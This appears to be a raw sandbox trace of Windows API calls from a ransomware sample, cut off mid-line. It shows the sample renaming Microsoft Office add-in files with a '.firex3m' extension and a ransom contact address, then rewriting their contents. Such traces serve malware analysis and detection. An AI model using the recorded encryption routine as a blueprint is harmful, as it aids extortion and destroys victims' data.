0x706cf78 [0158.031] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.031] ReadFile (in: hFile=0x708, lpBuffer=0x6fabfe8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fabfe8*, lpNumberOfBytesRead=0x41fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0165.488] GetProcessHeap () returned 0x630000 [0165.488] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176020 [0165.488] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.488] WriteFile (in: hFile=0x708, lpBuffer=0x706cf78*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x706cf78*, lpNumberOfBytesWritten=0x41fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0165.489] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.489] WriteFile (in: hFile=0x708, lpBuffer=0x7078377*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7078377*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0165.490] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.490] WriteFile (in: hFile=0x708, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0165.490] CloseHandle (hObject=0x708) returned 1 [0165.491] GetProcessHeap () returned 0x630000 [0165.491] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706cf78 | out: hHeap=0x630000) returned 1 [0165.491] GetProcessHeap () returned 0x630000 [0165.491] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fabfe8 | out: hHeap=0x630000) returned 1 [0165.491] GetProcessHeap () returned 0x630000 [0165.491] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176020 | out: hHeap=0x630000) returned 1 [0165.491] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0165.491] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\PowerViewRes.pl.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15b24c93, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2895dfb9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x50600, dwReserved0=0xb307496, dwReserved1=0x6fabfe0, cFileName="PowerViewRes.pl.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0165.491] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0165.491] Sleep (dwMilliseconds=0x1) [0166.304] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x41fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml") returned 1 [0166.304] GetProcessHeap () returned 0x630000 [0166.304] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bb0) returned 0x707d3d0 [0166.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ar\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0166.305] CloseHandle (hObject=0x408) returned 1 [0166.306] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0166.306] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ar\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ar\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0166.307] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0166.307] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x163ef7bf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12f7, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4ec0 [0166.307] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0166.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ar\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0166.307] GetProcessHeap () returned 0x630000 [0166.307] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1301) returned 0x72369e8 [0166.307] GetProcessHeap () returned 0x630000 [0166.307] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1301) returned 0x7177cb8 [0166.308] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.308] ReadFile (in: hFile=0x408, lpBuffer=0x72369e8, nNumberOfBytesToRead=0x12e0, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72369e8*, lpNumberOfBytesRead=0x41fff0c*=0x12e0, lpOverlapped=0x0) returned 1 [0166.327] GetProcessHeap () returned 0x630000 [0166.327] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0166.327] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.327] WriteFile (in: hFile=0x408, lpBuffer=0x7177cb8*, nNumberOfBytesToWrite=0x12e0, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7177cb8*, lpNumberOfBytesWritten=0x41fff0c*=0x12e0, lpOverlapped=0x0) returned 1 [0166.327] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.328] WriteFile (in: hFile=0x408, lpBuffer=0x7178f97*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7178f97*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0166.328] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.328] WriteFile (in: hFile=0x408, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0166.328] CloseHandle (hObject=0x408) returned 1 [0166.328] GetProcessHeap () returned 0x630000 [0166.328] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177cb8 | out: hHeap=0x630000) returned 1 [0166.328] GetProcessHeap () returned 0x630000 [0166.328] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72369e8 | out: hHeap=0x630000) returned 1 [0166.328] GetProcessHeap () returned 0x630000 [0166.328] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0166.328] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0166.328] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x163ef7bf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x29169e77, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x131b, dwReserved0=0xb307496, dwReserved1=0x72369e0, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5440 [0166.328] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0166.328] Sleep (dwMilliseconds=0x1) [0166.369] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\PowerViewRes.uk.xap", len=0x65 | out: pbstr=0x41fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\PowerViewRes.uk.xap") returned 1 [0166.369] GetProcessHeap () returned 0x630000 [0166.369] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ba8) returned 0x707d3d0 [0166.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\PowerViewRes.uk.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\uk\\powerviewres.uk.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0166.369] CloseHandle (hObject=0x700) returned 1 [0166.369] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0166.370] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\PowerViewRes.uk.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\uk\\powerviewres.uk.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\PowerViewRes.uk.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\uk\\powerviewres.uk.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0166.370] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0166.370] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\PowerViewRes.uk.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x161d962a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161ff8f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52560, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.uk.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d4e40 [0166.370] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0166.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\PowerViewRes.uk.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\uk\\powerviewres.uk.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0166.371] GetProcessHeap () returned 0x630000 [0166.371] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71c0048 [0166.371] GetProcessHeap () returned 0x630000 [0166.371] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ec0048 [0166.372] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.372] ReadFile (in: hFile=0x700, lpBuffer=0x71c0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71c0048*, lpNumberOfBytesRead=0x41fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0172.028] GetProcessHeap () returned 0x630000 [0172.028] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176138 [0172.028] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.028] WriteFile (in: hFile=0x700, lpBuffer=0x6ec0048*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesWritten=0x41fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0172.029] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.029] WriteFile (in: hFile=0x700, lpBuffer=0x6ecb447*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecb447*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0172.030] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.030] WriteFile (in: hFile=0x700, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0172.030] CloseHandle (hObject=0x700) returned 1 [0172.031] GetProcessHeap () returned 0x630000 [0172.031] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0172.031] GetProcessHeap () returned 0x630000 [0172.031] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71c0048 | out: hHeap=0x630000) returned 1 [0172.031] GetProcessHeap () returned 0x630000 [0172.031] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176138 | out: hHeap=0x630000) returned 1 [0172.031] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0172.031] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\PowerViewRes.uk.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x161d962a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c7d25d2, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x52584, dwReserved0=0xb307496, dwReserved1=0x71c0040, cFileName="PowerViewRes.uk.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0172.031] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0172.031] Sleep (dwMilliseconds=0x1) [0172.043] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\PowerViewRes.it.xap", len=0x65 | out: pbstr=0x41fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\PowerViewRes.it.xap") returned 1 [0172.043] GetProcessHeap () returned 0x630000 [0172.043] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b60) returned 0x707d3d0 [0172.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\PowerViewRes.it.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\it\\powerviewres.it.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0172.044] CloseHandle (hObject=0x700) returned 1 [0172.044] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0172.044] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\PowerViewRes.it.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\it\\powerviewres.it.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\PowerViewRes.it.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\it\\powerviewres.it.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0172.046] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0172.046] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\PowerViewRes.it.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14969496, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14a01eaa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f0e0, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.it.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d4ec0 [0172.046] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0172.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\PowerViewRes.it.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\it\\powerviewres.it.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0172.046] GetProcessHeap () returned 0x630000 [0172.046] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71c0048 [0172.046] GetProcessHeap () returned 0x630000 [0172.046] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ec0048 [0172.046] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.046] ReadFile (in: hFile=0x700, lpBuffer=0x71c0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x71c0048*, lpNumberOfBytesRead=0x41fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0182.831] GetProcessHeap () returned 0x630000 [0182.831] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0182.831] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.831] WriteFile (in: hFile=0x700, lpBuffer=0x6ec0048*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesWritten=0x41fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0182.832] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.832] WriteFile (in: hFile=0x700, lpBuffer=0x6ecb447*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecb447*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0182.835] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.835] WriteFile (in: hFile=0x700, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0182.835] CloseHandle (hObject=0x700) returned 1 [0182.835] GetProcessHeap () returned 0x630000 [0182.835] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0182.835] GetProcessHeap () returned 0x630000 [0182.835] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71c0048 | out: hHeap=0x630000) returned 1 [0182.835] GetProcessHeap () returned 0x630000 [0182.835] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0182.835] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.835] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\PowerViewRes.it.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14969496, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x32ee1e53, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4f104, dwReserved0=0xb307496, dwReserved1=0x71c0040, cFileName="PowerViewRes.it.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0182.836] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0182.836] Sleep (dwMilliseconds=0x1) [0182.849] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXC", len=0x4c | out: pbstr=0x41fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXC") returned 1 [0182.849] GetProcessHeap () returned 0x630000 [0182.849] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a34) returned 0x707d3d0 [0182.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0182.850] CloseHandle (hObject=0x6dc) returned 1 [0182.850] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.850] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft 